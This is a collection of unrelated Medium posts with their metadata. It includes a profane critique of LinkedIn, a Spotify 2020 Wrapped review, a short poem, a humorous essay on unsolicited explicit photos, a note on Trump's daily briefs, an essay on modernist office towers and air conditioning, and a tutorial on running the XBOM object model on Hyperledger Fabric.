Jeff Weiner has no idea how to leverage LinkedIn as a platform. “But he sold to Microsoft! For twenty-six billion fucking dollars!” you declare. Ooook. I won’t argue with you there. Good job, Jeff. You made the acquisition happen, and as a user, I couldn’t be more proud. We’re eleven years into your reign and counting, and now it’s time to step aside and let someone else run the company. I know that won’t happen, and I really don’t care if it does, because your network is genuinely a piece of shit, but it’s what would be best for the company and its users. Call a spade a spade. The company needs a new direction. Ask yourself, what does LinkedIn actually do? What utility does it provide its users? I’ve written about this social network before because there clearly is a use case for it. Since then, not only have they failed to make any functional changes, they forwent an enormous opportunity to shift to a service with the usability of something like Slack. This was before Slack even existed — the opening was there. And AngelList serves the investment community (and has its own set of problems, but I won’t get into that here). So…what the fuck? Well, let’s look to LinkedIn’s vision which is to, “Create economic opportunity for every member of the global workforce.” The mission is to, “Connect the world’s professionals to make them more productive and successful.” While it’s not my job to determine the direction of LinkedIn, in its current form, it’s not only useless but also detrimental to its users and the internet as a whole. It should infuriate you that a social network like LinkedIn even exists. Why? Because human beings are legitimately wasting precious hours of their lives on something that is an illusion. The whole thing is a charade. Users have been lulled into a sense of complacency of expectation. That’s dangerous. Do you know anyone whose life was changed by using the service? Or heard of anybody who heard of someone whose life was changed by service? As far as I can tell, LinkedIn’s greatest asset is harvesting user data. Yay. Powerful. Additionally, anecdotal observations of the network reveal something to me: there is this mirage by those who use it, it’s as if they’re assuming the information they’re receiving is somehow enlightened; like a network can exist detached from the rest of the internet with the emotion and politics removed. It bleeds through the tone of the feed. It haunts the spirit of the network. After I stopped taking LinkedIn seriously, over the years I posted some outlandish shit on there (by LinkedIn standards) just to fuck with the network. I thought (and still think) it was fucking HILARIOUS. I’m not claiming it had any impact at all — only negative impact on me, I’m sure. Since then, I’ve stopped using it almost entirely. My brother deleted his LinkedIn years ago. So why write this? I’m perturbed that LinkedIn has failed to evolve in any meaningful way, a generation of users is lost, and they’ve created a vacuum of trust in the whole concept of what they’re trying and failing to be. Brb gonna go be a good boy and rejuvenate my professional career on LinkedIn for a few hours. No way anyone on there could or would search for and inspect my Twitter which is, oh, ever so carefully crafted to please the masses, and my mommy. If you think I’m writing this to be an asshole or to get the satisfaction of a brutal takedown of LinkedIn, you’d be mistaken. And I’m not going to offer further solutions because I’m not going to do LinkedIn’s fucking job for them. I’m writing this because it comes as naturally as breathing. I’ll leave you with this story:

https://awwsullivan.com/why-linkedin-is-bad-for-the-internet-cc7ee02fcc5

['Adam Sullivan']

2020-06-11 14:53:28.674000+00:00

['Slack', 'LinkedIn', 'Jeff Weiner', 'Microsoft']

Spotify 2020 Wrapped has arrived — and it has a few new features

Yes, that time of the year has come again: Spotify 2020 Wrapped. Do you live under a rock? let me help you. Spotify Wrapped is a feature where the company gives you a personal breakdown of your listening habits throughout the year. Is it absolutely ridiculous to introduce this feature at the beginning of December? How long is technically a month out of the year left? 44,640 minutes of potential listening (if you are not asleep)? of course not. how dare you. Sagittarius for Spotify 2020 wrapped, Falah. Despite this cognitive dissonance, I still liked the job a little. You can go here to test it, see what the world is listening to here, or just open the Spotify app on your phone. What’s new in Spotify 2020 Wrapped? There are some additions to the feature this year. First of all, there is a test built into the app. In my work, I was asked to choose the artist I thought I would listen to the most. You can also follow your story with your most played song, which is something I found not very interesting, but here we go. Presumably, there is also a feature that gives you a breakdown of the podcasts you listen to on Spotify, but I use a different app so it doesn’t show up on my account. The company has also filed badges with Spotify 2020 Wrapped. I can’t say giving arbitrary prizes is really overrated for me, but you can take advantage of it, so there is no judgment here. There are some other new features, but they are understated. If you really care, you can learn more here — but I’m not sure why you would do it yourself. What do you think of Spotify 2020 Wrapped? It’s okay I think. It’s colorful and well designed, but I have a personal issue: I tend to use Spotify for music while I’m working and do most of the active listening with my MP3 library. This means my Spotify 2020 file is basically meaningless. Luckily, I keep tracking most of my enjoyments using Last.FM, and at the end of the year, it’s giving me a more interesting breakdown of my musical habits. No, it doesn’t have a fancy graphic design or story-style interface, but it does contain data. And that’s all I really want. Discover 2019 What I’m saying is Spotify 2020 Wrapped is awesome, but you should create a Last.FM account and start using it too. Of course, it’s very likely that you are using Spotify as your primary music playback software, in which case I guess you’re okay? I don’t know, the social media-friendly design and sharing features make me feel like Spotify 2020 Wrapped is for people with terrible musical tastes posting things like “TYPICAL ME”, “NO SHOCK HERE” or “Are you smiling?” Just like their listening habits. Either way, it was me who did — head over here if you want to know what Spotify thinks about you. Or go here if you want to see what the world is listening to. But what’s the point of that when we’re still in 2020? Did you know we have a newsletter dedicated to consumer technologies? It’s called Plugged In — and you can subscribe to it here.

https://medium.com/@globebusinesscenter/spotify-2020-wrapped-has-arrived-and-it-has-a-few-new-features-636d515d28f3

[]

2020-12-16 02:28:01.589000+00:00

['Spotifycurators', 'Spotify', 'Spotify Playlist']

wastefully chasing nothingness

(wretched blue) aboard a decrepit sailboat, creviced in blankets, of apprehensive wrath, we slept, while nettled, in the arms of disarray, remorseful of our unkempt sins

https://medium.com/@paradigse/wastefully-chasing-nothingness-ba5496afc9d7

[]

2020-09-06 00:01:23.718000+00:00

['Songwriting', 'Song Lyrics', 'Lyrics', 'Poetry', 'Poems On Medium']

The Ins and Outs of D**k Pics. “Why hello there penis!”

The Ins and Outs of D**k Pics “Why hello there penis!” Image: Aaron Bolt “Why hello there penis!” That was my first reaction to the penis on my phone. My boyfriend at the time — we’ll call him Ryan — had texted me a picture of his rather large member. We were dating long- distance, and he had somehow gotten the idea that sending a picture of his giganto schlong would keep things hot while we were miles apart. In the absence of his physical presence, he surmised, I would find pleasure in a picture of his dick. I did not. On my phone, in the cold, sober light of day, it looked kind of purplish and weird, like some sort of demented, amputated arm. Don’t get me wrong — his penis was bomb.com. More often than not, it was a source of great delight. But I didn’t want a picture of it on my phone. It didn’t turn me on, and I certainly didn’t ask for it. No, instead, it just popped up while I was sitting at my desk in the office, in plain view of anyone who might pass by. The photo itself was badly lit, and it looked like something I might have seen in my college human-sexuality class. I wondered if Steven Meisel had shot said appendage, would it have been more alluring? Sexier? If I was to send a pic of my boobs to someone, I imagine I would at least have the decency to set the scene. Did he think I was going to suddenly be quivering with excitement, ready to run to the nearest bathroom to rub one out? I was befuddled. But then again, I’ve also had men offer to: • Take me to Whole Foods (yes, the grocery store) on a first date. • Tell me I wasn’t funny or smiley enough (I beg to differ), but that I should go out with them again. • Bring their friends on a date. Boobs are cute and fun, like pillows. Penises, however, are inherently sort of funny-looking. Just imagine what Mardi Gras would be like if people went around flashing penises instead of tits. But some men surmise that just because they like a little visual stimulation, the object of their affection probably would, too. This type of thinking works great with gay couples— I’ve never met a gay man who didn’t like a good penis pic — but for women, not so much. If Ryan really wanted to turn me on, he would have told me what he was going to do to me when we saw each other next. A penis is only really truly exciting in the heat of the moment. The idea of Ryan was sexy because of how much chemistry we had, his razor-sharp intelligence, and the way he made me laugh. But at least Ryan and I were dating. Some guys tend to think it’s okay to just randomly send penis pictures to any woman they’re trying to pick up. But as Brett Favre and the appropriately named Congressman Weiner so eloquently showed us, that’s not the case. Women do not like to receive photos of penises they never requested. It’s like virtual flashing, except, instead of instilling the viewer with a sense of awe, the unsolicited photo offers room for laughter. When my friend received a surprise dick pic from a guy she was dating (but hadn’t slept with yet), the first thing she did was recoil in horror. Not because it was a penis, but because it was skinny and small. It looked, in her words, “like a miniature-golf pencil.” Unsure why he would boast about such an unimpressive member, she forwarded the offending image to all her friends. Boys, if you insist on sending women penis pics, make sure your junk is up to snuff and that she wants to see it. To be fair, there are some women who do like to receive a nice dick pic, but not necessarily because they find it a turn-on. My slightly kooky friend Selena, for example, loves to receive penis pics, but only after she asks for them. However, it’s not because she goes home and masturbates to them, or even that they turn her on. She simply wants to know what she’s working with before she gets down and dirty. Not only size-wise, but aesthetically speaking. Very practical, but not so sexy. Modern technology has opened up the ways in which we flirt, but it’s a double-edged sword. Should you choose to use it carelessly, like Favre or Weiner, you may find yourself the subject of mockery and ridicule. Use it wisely and she may be all yours. The moral of the story? When in doubt, keep it in your pants.

https://medium.com/sexography/the-ins-and-outs-of-dick-pics-c30045b543df

['Rachel Khona']

2020-09-01 00:59:11.736000+00:00

['Sexuality', 'Dating', 'Sex', 'Relationships', 'Humor']

Trump Briefs

It came to light that Trump either doesn’t read or doesn’t listen to daily briefs that are brought to him each day. We learned that Russia hired bounty hunters to kill American military personel in Afghanistan. The administration first denied that Trump was given this information, then they said he had been briefed. But was he listening, or did he not care? Or was he tweeting? How many Presidential Daily Briefs have gone unread with this president? Probably far too many.

https://lizadonnelly.medium.com/trump-briefs-afe3dab08c9

['Liza Donnelly']

2020-07-01 01:18:32.024000+00:00

['Russia', 'Twitter', 'Putin', 'Trump', 'Politics']

Architecture Unseen: Modernism in Crisis

Written by S.Leung and E.Oppenheim What are the relationships between the invention of air conditioning, the world’s financial system and late-stage modernism? This historiography ceases to be clearly understood in contemporary architectural discourse. The writing presented here does not attempt to argue to restore architecture to any former state, but instead presents case studies which highlight a history dissected from the narrative of late modern architecture in the hopes of illuminating the contemporary relevance of the office tower, whose impact is correlated both directly and indirectly, to the climate emergency we face today. The most recent climate reports are proof of the many studies and speculations leading up to the environmental problems we are confronted by in 2020. Buildings and the building construction sectors combined account for one third of the world’s energy consumption and almost 40% of total direct and indirect CO2 emissions¹. In a much more transparent, connected and information driven world, our cultural understanding of architecture is critical to addressing these concerns. A collective comprehension of the compound effects of the rise of advertising, media, and technology is key to our ability to interpret and understand the world at large. Explored in the subsequent passages are the rise of technology, the power of media and the corporation, and an omnipresent force of real estate development in Manhattan. These parameters offer a beginning point for further interrogation into the questions of building technology and architecture; why are we building glass-clad energy consuming monoliths over half a century since the inception of the first office tower? 270 Park Avenue, Union Carbide Headquarters, 1961. ‘The Organizational Complex: Architecture, Media and Corporate Space.’ In the United States during the 1970’s corporatism and capitalism were being aggressively re-defined. Corporate architecture of this era in the U.S. were no longer the automobile factories of General Motors, Ford Motors and others, but rather the contemporary symbol of technological advancement and innovation was the high-rise office tower on Park Avenue. This shift was a result of the invention of new telecommunication that allowed the office to be separate from factories and warehouses. As the telephone gained more widespread use around 1915 — instead of sending messages through mail or messenger between office and factory — morse code and the telephone, both much quicker forms of communication made transactions exponentially faster. Large corporations like Union Carbide, whose core business of petrochemical products ranging from batteries to metals to household products, maintained factory and office buildings in the midwest as well as one of the most iconic skyscrapers of 1960s, a global headquarters at 270 Park Avenue. Only a company of this scale was capable of funding such a project and required a presence in the city that was quickly becoming the center of the corporate world. Abalos and Herreros highlight this transition towards late-modernist thinking— “For Mies and Corb, the American skyscraper was an excellent model..” for it had the “..potential to offer a symbolic interpretation of the machine.. A new city devoted to labor, shifting the center of importance of urban life toward offices and commercial activity.”² The architecture itself served as a way to communicate company values— its thin, shiny exterior was like the company itself, innovative, looking towards the future. This building was one of the first of its time, showing company strength and presence in New York City through its verticality and exterior appearance. Despite certain losses of publicly sourced funding for New York City’s infrastructural upkeep towards the end of the 20th century, the business of private real estate development was booming. David Gissen, in his book Manhattan Atmospheres, points to this fundamental shift from early modernist planning to private enterprise, “..its earlier socionatural architectural and urban forms, water systems and parks, transformed into more explicit supports for the City’s burgeoning real-estate economy.”³ This marks a critical shift from prior visions of socionatural intervention towards gains in private equity, ultimately shaping the city in profound ways. Gissen describes here a falling out between New York City’s infrastructural vision of parks and open public space with relation to public health, and the post-industrial, post-war project of late-modern architecture. He expands upon this by observing that the corporate architecture interior, disassociated from the chaos of the city, becomes an “..antiurban analogue to the disorientations and violence of global capital.”⁴ The towers Gissen refers to are, for example, Mies’ Seagram building or perhaps the Union Carbide headquarters, designed by architects Skidmore Owings and Merrill. The Union Carbide headquarters, a 52 storey tower completed in April of 1960, was designed to accommodate the corporation’s 4000 employees dispersed across 41 vertical storeys. The office tower’s glass curtain wall and steel facade, paired with a seamlessly integrated ceiling grid, offered a vision of modernist corporate architecture. Early commercial office towers designed by SOM exemplify the increasingly popular trend of speculative real estate development emerging in the United States. Speculative real estate development being the conception of an architecture which precedes the confirmation of any one tenant, or tenants, that would claim the future leasable space, in contrast with historic precedent. In other words, floor plans designed for flexibility and unknown future programmatic requirements. A generic architecture, designed for any number of corporate clientele and possible future occupants, a critical shift in the practice of architecture. Many of the development models we see today can be traced back to one; the Metropolitan Opera project, spearheaded in 1927 by John D. Rockefeller.⁵ This off-site office complex for the Metropolitan Opera during the Great Depression would be replicated as a speculative real estate model well into the 21st century, nearly one hundred years later. We see examples of this model today in mega-city developments whose private investments support the endless air conditioned interiors of commercial leasable office space. Rockefeller’s office tower would galvanize generations of architects and developers, prompting the speculative design of spaces based on market fluctuation. A paradigm shift in both the financing and design of architecture. The Metropolitan Opera office building was designed by multi-architect team Reinhard & Hofmeister, Corbett, Harrison & MacMurray, and Hood & Fouilhoux following the project’s conception in 1927.⁶ To facilitate the compromise of various requirements of the project, the team known as the Associated Architects looked to a tower competition held a few years prior in Chicago. Because no interior layout was requested for the competition, floor plans above ground level would receive typical layouts, omitting any form of specificity of the interior.⁷ This intentional ambiguity, designed by the architect in response to the brief, made possible the accommodation of precarious programming of future tenant occupation. This introduced for the first time the ‘typical’ office plan, one that is by nature open to accept any number of possible functional requirements, an empty vessel or envelope moulded by the aggregate influences of unpredictable market forces.⁸ Skidmore, Owings & Merrill, Brunswick Building, Chicago, 1962–1966. ‘Tower and Office From Modernist Theory to Contemporary Practice.’ Steel and concrete office towers could not exist without the advent of a novel technology, air conditioning. As the economic landscape develops in New York during the first half of the 20th century, the stock exchange becomes a surprising example of an early application of climate control. The stock exchange was the space of economic production. Traders laboured on the trading floor serving corporate clients by trading bonds with the aid of computers, also known as ‘the market’. The immense electrical load needed to satisfy both human activity and equipment demanded a controlled interior to optimize trading, and profit for corporate investors.⁹ Traders were the communication lines to a larger financial network, and became objects of value themselves. Not only were the traders on the floor expelling heat and energy, but the machines that powered these communication lines exhausted as much heat and energy converting data into monetary gain for the 1%. Before the stock exchange began air conditioning its trading floor the technology was first used to propel production, by cooling stored objects of value, as oppose to people. Cold storage warehouses were one of the first architectural types that controlled the interior environment of a building. Here, the products of value were perishable produce, the cooled air prolonging its economic life. It may seem like a large leap from cooling perishable goods to cooling live human bodies, but both act as products worth commercial value in the post-industrial global economy. Similarly, Carrier, the world renowned air conditioning company started their business not by cooling people, but cooling machines critical for business. In 1902, Carrier’s first customer was a frustrated printer in Brooklyn whose color reproductions were failing because the humidity and temperature caused the paper to expand and contract. Carrier took off immediately afterwards coining their product as “man-made weather.”¹⁰ New York City Stock Exchange, 1920’s. ‘Manhattan Atmospheres: Architecture, the Interior Environment, and Urban Crisis.’ Following the stock exchange as a precedent, the mechanically conditioning interior transformed into a network of spaces for the production of capital. As the global economy extends ever further, the private office tower became a symbol of power and wealth. The city skyline represented the dynamism of American business.. and business was booming. The alignment between the technology and the big corporate clients funding these types of ambitious projects was the perfect recipe for the extreme rise of development in lower manhattan. New York City and Chicago’s skylines had “silhouettes looked a lot like the wild spikes and dives of a GDP chart…skyscrapers were the birth and growth of the office made visible.”¹¹ Battery Park landfill, mid-1970’s. ‘Manhattan Atmospheres’: Architecture, the Interior Environment, and Urban Crisis.’ The idea of the corporate office is inextricable from notions of workplace productivity. The study of work place productivity is not new, nor news to anyone familiar with Taylorism. Popular images associated with air conditioning show seamless glass exterior panels and idealized office interiors, producing highly productive work spaces. With the added layer of scientific management, or more commonly known as Taylorism, the office became “a site of a potential utopia…where impeccably ordered rows of desks receded into the vanishing point of the horizon, where American business became inexorable, honed, and proud.”¹² The United Nations headquarters in New York City became the ultimate icon for this type of air conditioned interior office space. “…it marked a turning point in the commercialization and integration of artificial climate control system in the skyscraper.”¹³ A tall glass tower made possible with the help and engineering of Carrier, no longer just for fruits and vegetables. Its location alongside the water deliberate, presenting the building as a beacon on the water’s shimming edge. For solar orientation however, it’s counterintuitive. It faces almost perfectly east-west with solid walls facing north and south. It is obvious that the site planning for the building was for its views, looking out towards the New York skyline, and for its object-like status along the water’s edge — a prime location for such an iconic building. With its completion in 1952, the United Nations building was exemplary in tall office building design. It’s aesthetic, with its seamless glass curtain wall exterior and it’s weather-mastered interior by Carrier, became the standard for all future office towers. This Carrier advertisement found in Architectural Record from 1951 boasts “individual climate control in each office at the turn of a dial, return ducts eliminated..” In other words, in popular culture glass-clad building meant the assumption of a totally controlled interior environment, boosting productivity and therefore profit. Carrier Advertisement, 1951. ‘Architectural Record.’ As the rise of the corporation lead to an increasing need for real estate, modernism as an architectural style communicated technological advancement and innovation. The Union Carbide building interior, famously photographed by artist Ezra Stoller, highlight the relentless ceiling matrix as a universally accepted corporate office aesthetic. These well known photographs became icons in themselves, as they are the documentation disseminated in popular media. This seamless aesthetic was paired with the understanding that all systems were integrated and abstracted into a new technological grid. The office became a stacked factory of production, putting capital on display across the open floor plan. This organization put the company’s value on exhibition, its employees and its efficiency the corporate entity. Following the birth of the corporate office tower and the introduction of the mass produced family car, cities in the U.S. grew at unprecedented rates. The United States was leading the world towards a lifestyle heavily dependent on the consumption of energy. Large glass buildings became increasingly scrutinized during the energy crisis of the 1970's. High fuel costs had ramifications for architects and brought awareness to the energy use in buildings with these extensive mechanical systems. Experts began to question the logic of this construction, one which had begun dominating the landscape of modern cities. Energy consumption of towers has been well aired in recent years and subsequent decades since the invention of air conditioning. The application of glazing on every mediating surface to the outside world provided a hospitable place for the production of global capital for decades. These highly controlled interior spaces are ideal for the productive office employee to work, unhindered by changes in seasons, or even natural daylight. Today, however, a renewed focus on the energy usage of office towers comes under pressure both by climate change, and now a global pandemic rendering much of these spaces obsolete, at least for now. More than three quarters of a century after the completion of Rockefeller Center, how do we move past an antiquated model of practice in which architecture seems to explicitly depend and take cues from? The controlled interior environments examined in this text are integral to our understanding of cities. If investment portfolios and financiers came to influence the form of New York City, how do the architect, and the citizen, respond to such forces today? Although private and public space have shape shifted since early modernity and beyond, they have of course never been stable, nor are they now, either. What we imagine to be solidified and concretized built forms are no more subject to change than the wild spikes and dives of the economic output of a society in flux. Given the myriad of critical issues we face on a global scale, can the future of cities change again, maybe this time shaped by its inhabitants rather than a conglomeration of speculative realtors, and venture capitalists? [1] https://www.iea.org/topics/energyefficiency/buildings [2] Abalos, Inaki, Herreros, Juan, Tower and Office: From Modernist Theory to Contemporary Practice. (MIT Press: 2003), 137 [3] Gissen, David, Manhattan Atmospheres: Architecture, the Interior Environment and Urban Crisis (MIT: 2003), 8 [4] Gissen, David, Manhattan Atmospheres: Architecture, the Interior Environment and Urban Crisis (MIT: 2003), 9 [5] Martin, Reinhold, The Organizational Complex: Architecture, Media and Corporate Space(MIT: 2003), 87 [6] Martin, Reinhold, The Organizational Complex: Architecture, Media and Corporate Space (MIT: 2003), 87 [7] Martin, Reinhold, The Organizational Complex: Architecture, Media and Corporate Space (MIT: 2003), 87 [8] Martin, Reinhold, The Organizational Complex: Architecture, Media and Corporate Space (MIT: 2003), 87 [9] Gissen, David, Manhattan Atmospheres: Architecture, the Interior Environment and Urban Crisis (MIT: 2003), 143 [10] www.williscarrier.com/timeline “Weathermakers to the World” [11] Saval, Nikil, Cubed: A Secret History of the Workplace (Doubleday, 2014), 96 [12] Saval, Nikil, Cubed: A Secret History of the Workplace (Doubleday, 2014), 60 [13] Saval, Nikil, Cubed: A Secret History of the Workplace (Doubleday, 2014), 60

https://medium.com/@oppenheimleung/architecture-unseen-modernism-in-crisis-d18d24b8f2b3

['Oppenheim Leung']

2020-12-11 18:17:16.271000+00:00

['Economy', 'Urban Planning', 'Climate Change', 'New York City', 'Architecture']

First Attempt in XBOM (eXtensible Blockchain Object Model)

Introduction Those having experience in developing chaincode in Fabric know well how a chaincode looks like. In a nutshell, we define the data structure (state) for some assets, and functions which one can query the state, or invoke if change of state is needed. Since v2.1, Fabric team also introduces Contract API (link) which simplifies the way chaincode is written. This still follows the same pattern. Recently I see another attempt to change the way we develop smart contracts with classes and objects, which is a favourite model for many developers. Prasaga introduces Extensible Blockchain Object Model, XBOM, in which assets are defined as objects and owned by accounts. XBOM provides a coding environment and methodology, which is currently implemented in Hyperledger Fabric for a permissioned chain offering and will be available on DataGrid Blockchain (DGB), an open permissionless chain in the future. With XBOM, developers build applications with object oriented programming model, and XBOM provides an infrastructure serving them. The infrastructure (named Class Manager Infrastructure) then interacts with the underlying infrastructure, which is a fabric network in this case. Theoretically the developer does not care about the blockchain, as it is well handled by the infrastructure. That is the reason XBOM is positioned as “Decentralized GlobalOS”, like an operating system on top of the blockchain. For those who are interested in this approach, the best way is to gain more information from their website. Here is the overview of XBOM. The first available XBOM material is a set of chaincode in Golang. Since this summer they have published several videos. I have tried the code and here I document some of my experience and observation during my first attempt. Some Concepts about XBOM While you can always find good and official explanations on the material, here I try to provide some quick ideas about XBOM. XBOM at a Glance XBOM is a First-Class Object Model, meaning that everything is object in this environment. While the developers are dealing with the classes and objects in their code, these classes and objects are objects inside XBOM. XBOM provides a Class Manager Infrastructure such that developers can focus on their applications with their own classes and objects on a blockchain environment, without involving the chaincode and handling the ledger natively. The Class Manager Infrastructure interacts with the underlying blockchain platforms. Taking Fabric as an example, each object is stored as a key-value pair in the ledger. The key is a unique identifier, called Ledger Object Identifier (LOID), and the value keeps all relevant information about this object. The Class Manager Infrastructure is responsible for interacting with the ledger storage, and is in fact a set of chaincode when it is implemented in Fabric. We can see this approach in a layered representation, and compare this with traditional coding on Fabric environment (source: David’s slide shown in the video with some colour code). Application developers are no longer coding at chaincode level. Instead they are working at object level. They will use the object transaction model provided by Class Manager Infrastructure. In general, each transaction is to specify which account context the transaction is working, the target object, method and input arguments for the method. The Class Manager Infrastructure processes the transaction and returns the output. Transaction at object level We will go in depth into how Class Manager Infrastructure works with the fabric network and ledger later in the demonstration. Account, Ownership and Containment Our demonstration is to create an account object. Here we introduce the concept of object containment in XBOM, and how account is associated with the containment. Each object has reference to a parent object or directly (and eventually) to an account object (Class Account). This forms a tree structure of objects. This model is good for providing ownership of assets (objects) to an account. (Source: David’s slide shown in the video.) Tree structure for objects, owned by an account. After bootstrap we have the first account: System Account. In the demonstration we are going to create a new account with the System Account. We will detail how this is done. Our demonstration is to create a new Account object with System Account. This is just a tip of an iceberg in XBOM, but should be good enough for the demonstration. You can always get the latest update on their site. Demonstration and Illustration The demonstration follows the material (videos) on XBOM website. You can find the video of how the demonstration works. Meanwhile I make some illustrations and observations about the demonstration. Video sources Quick Start https://www.youtube.com/watch?v=dNAkDeLpG2Y Overview #1 https://www.youtube.com/watch?v=2P37UmQpI3g Overview #3 https://www.youtube.com/watch?v=x_FnXb6u3b8 A Ubuntu 18.04 LTS server on AWS EC2 is instantiated for demonstration. The code and installation instruction is available here through registration. We broadly divide the demonstration into two steps. Step 1 is mainly on Fabric operation. The fabric network follows the Test-Network in fabric-samples with modification. In particular, a script classmanager.sh is created to perform all the tasks. This classmanager.sh largely follows network.sh in Test-Network. During the whole demonstration we use classmanager.sh to perform all the tasks, including bringing up the network, deploying the Class Manager Infrastructure and bootstrapping all components. After Step 1 we have a Class Manager Infrastructure ready for our next step. Step 2 focuses on Class Manager Infrastructure. We will interact with objects provided in the Class Manager Infrastructure. All commands are working in this layer, and Class Manager Infrastructure is handling the relevant activities in chaincode invocation. During the demonstration we will take a look at what happens in the ledger. This gives us a better understanding about how Class Manager Infrastructure is interacting with the Fabric. Our task is to create a new Account object, and after that we will use “inspect” method from the Class Object to take a look at the new Account object. Step 1: Bring Up Class Manager Infrastructure Step 1.1: Bring up modified Test Network and Create Channel This brings up a sample network, following the Test Network in Hyperledger Fabric 2.0+. It contains three organizations. One orderer organization and two peer organizations. A channel mychannel is created and the two peer organizations join this channel. ./classmanager.sh up createChannel or ./classmanager.sh up createChannel -s couchdb Note: couchdb can be used as the world state database for each peer with -s couchdb . Step 1.2: Deploy Class Manager Infrastructure Class Manager Infrastructure is a set of chaincode designed with the purpose of building the Class Manager Infrastructure. It uses the standard lifecycle chaincode to deploy this set of chaincode to the Fabric network. ./classmanager.sh deployCC After deployment, it is what we observe in the ledger. We see a database is created on the channel (mychannel) and chaincode (classmanager). Inside ledger, mychannel_classmanager is the database holding all objects. Step 1.3: Initialize Bootstrap Class Manager Infrastructure bootstrap creates all the required components to support the transaction at XBOM level. ./classmanager.sh InitBootstrap -loid default This is equivalent to invoking the chaincode function InitBootstrap with LOID default. After the bootstrap function is invoked, we see more records in the database. We see some objects are created after bootstrap completes. Here are the records created. The keys are LOID of various objects defined in XBOM. As LOID is a hash version of something, you will see many “unreadable” items in the database, except for the RootDictionaryLOID, which gives us some idea in the demonstration. Step 2: Interacting with Class Manager Infrastructure Now we have the Class Manager Infrastructure. We start working at the XBOM level from now on. The demonstration is to obtain the Object Handle for Root Account object, and create a new account (i.e. a new Account object) using Root Account object. After bootstrap in Step 1.3, we now have several objects we are going to work with. Root Account object: A root account or system account is represented by a Root Account object. As introduced above, we need an Account object as a context when we interact with the Class Manager Infrastructure. We are using the Root Account object to create this new Account object. A direct query (GetSystemAccountObject) is provided to get the LOID of the Root Account object. This is shown in Step 2.1 Root Dictionary object: The root dictionary stores a map from unique string names and unique LOIDs. As our purpose is to obtain the Object Handle of Root Account, we need to make a query on the root dictionary. A direct query (GetRootDictionary) is provided to get the LOID of the Root Dictionary object. This is shown in Step 2.2. With this information we can start working at transactions like this. The input includes the following information Account Object: the context of current account Target Object: the object our transaction is acting upon Method Name: the method of our action Input Argument: arguments needed for the action After processing in Class Manager Infrastructure, we will get back the designed result (returned argument). In this demonstration we are going to perform two transactions. Both in the context of Root Account object: Get Root Account Manager object handle from Root Dictionary (in Step 2.3) Create new account using the Root Account Manager object handle (in Step 2.4) We will see the transaction more in detail. Finally, Class Object comes with a method for inspection. As all objects inherit from Class Object, so does our new Account Object. This is shown in Step 2.5. Step 2.1: Get System Account Object ./classmanager.sh Invoke -ic '{"Args":["GetSystemAccountObject"]}' We get back the System Account object: [83, 121, 115, 116, …] Step 2.2: Get Root Dictionary Object ./classmanager.sh Invoke -ic '{"Args":["GetRootDictionary"]}' We now have the Root Dictionary object: [82, 111, 111, 116, …] Step 2.3: Transaction: Get Object Handler of Root Account Manager Now we perform the first XBOM transaction: use System Account object (obtained in Step 2.1) to access Root Dictionary object (obtained in Step 2.2), by specifying the method ClassDictionary_GetObjectByName with input argument RootAccountManager. This is the first XBOM transaction. Account Object: System Account object [83, 121, 115, 116, …] object Target Object: Root Dictionary ObjectHandle [82, 111, 111, 116, …] ObjectHandle Method: ClassDictionary_GetObjectByName Input Arguments: ObjectPathName: RootAccountManager ./classmanager.sh Invoke -ic '{"Args":["ObjectSend","[83,121,115,116,101,109,65,99,99,111,117,110,116,79,98,106,101,99,116,0,0,0,0,0,0,0,0,0,0,0,0,0]","[82,111,111,116,68,105,99,116,105,111,110,97,114,121,76,79,73,68,0,0,0,0,0,0,0,0,0,0,0,0,0,0]","{\"Mtdstring\":\"ClassDictionary_GetObjectByName\"}","{\"ObjectPathName\":\"RootAccountManager\"}"]}' The returned argument is the ObjectHandle of Root Account Manager object: [44, 32, 80, 101, …] . We will use it in Step 2.4. If we take a look on the ledger, we see RootDictionaryLOID is updated with a new revision. The transaction above has made some updates on the Root Dictionary object. If we go deeper into how the transaction is processed in Class Manager Infrastructure, this is the actual process of a transaction flow. How Class Manager Infrastructure interacts with the Fabric. The Class Manager Infrastructure takes care of all the tasks interacting with the underlying Hyperledger Fabric system. Object information is retrieved from the ledger, and updated when needed after the process. This is why we see updates on the ledger. Step 2.4: Transaction: Create a New Account With the Root Account Manager object handle available, we now send another transaction. Still in the context of System Account object, the target is now Root Account Manager, with method ClassFactory_NewObject. An input argument, number of accounts to be created, is set 1. Here is the transaction to create a new account. Account Object: System Account object [83, 121, 115, 116, …] object Target Object: Root Account Manager ObjectHandle [44, 32, 80, 101, …] ObjectHandle Method: ClassFactory_NewObject Input Arguments: NewCount: 1 ./classmanager.sh Invoke -ic '{"Args":["ObjectSend","[83,121,115,116,101,109,65,99,99,111,117,110,116,79,98,106,101,99,116,0,0,0,0,0,0,0,0,0,0,0,0,0]","[44,32,80,101,53,74,36,52,35,113,59,53,46,50,89,84,97,56,35,92,98,95,35,66,96,32,90,118,81,80,89,68]","{\"Mtdstring\":\"ClassFactory_NewObject\"}","{\"NewCount\":1}"]}' The ObjectHandle of New Account object handle is returned: [45, 38, 60, 97, …] If we take a look on the ledger, we see RootDictionaryLOID and more records are updated. Besides, a new record is created, which should be corresponding to the new account object created in this transaction. Step 2.5: Inspect the Account Object Newly Created in Step 2.4 Class Object comes with a handy method Inspect_Object. Since all objects in XBOM inherit Class Object directly or indirectly, we can use this method to get more detailed information about any object. Here we use it for the Account Object we created in Step 7. The transaction looks like Account Object: System Account object [83, 121, 115, 116, …] object Target Object: New Account ObjectHandle [45, 38, 60, 97, …] ObjectHandle Method: ClassObject_Inspect Input Arguments: Unused: 0 ./classmanager.sh Invoke -ic '{"Args":["ObjectSend","[83,121,115,116,101,109,65,99,99,111,117,110,116,79,98,106,101,99,116,0,0,0,0,0,0,0,0,0,0,0,0,0]","[45,38,60,97,79,122,35,32,42,105,59,110,88,54,43,43,80,80,49,116,38,43,55,123,58,33,102,79,50,44,95,43]","{\"Mtdstring\":\"ClassObject_Inspect\"}","{\"Unused\":0}"]}' We see a big output. Here is the collapsed view of the output. Here is the first item in “definitions”. You can see this is a huge output of an object, including the object itself, methods, and class ancestry tree. The result is a JSON object parseable for information or other uses. This is the end of demonstration. Summary Hope you can get some ideas through this first attempt in XBOM. As mentioned above, XBOM itself can be seen as a way of coding smart contracts with developer-friendly object-oriented programming model. The demonstration has shown the first Class Manager Infrastructure implemented on top of Hyperledger Fabric with Golang. I will come back with further elaboration once there are more detailed documentation and more demonstrations. Stay tuned.

https://kctheservant.medium.com/first-attempt-in-xbom-extensible-blockchain-object-model-e49b925f4e71

['Kc Tam']

2020-10-29 23:03:27.130000+00:00

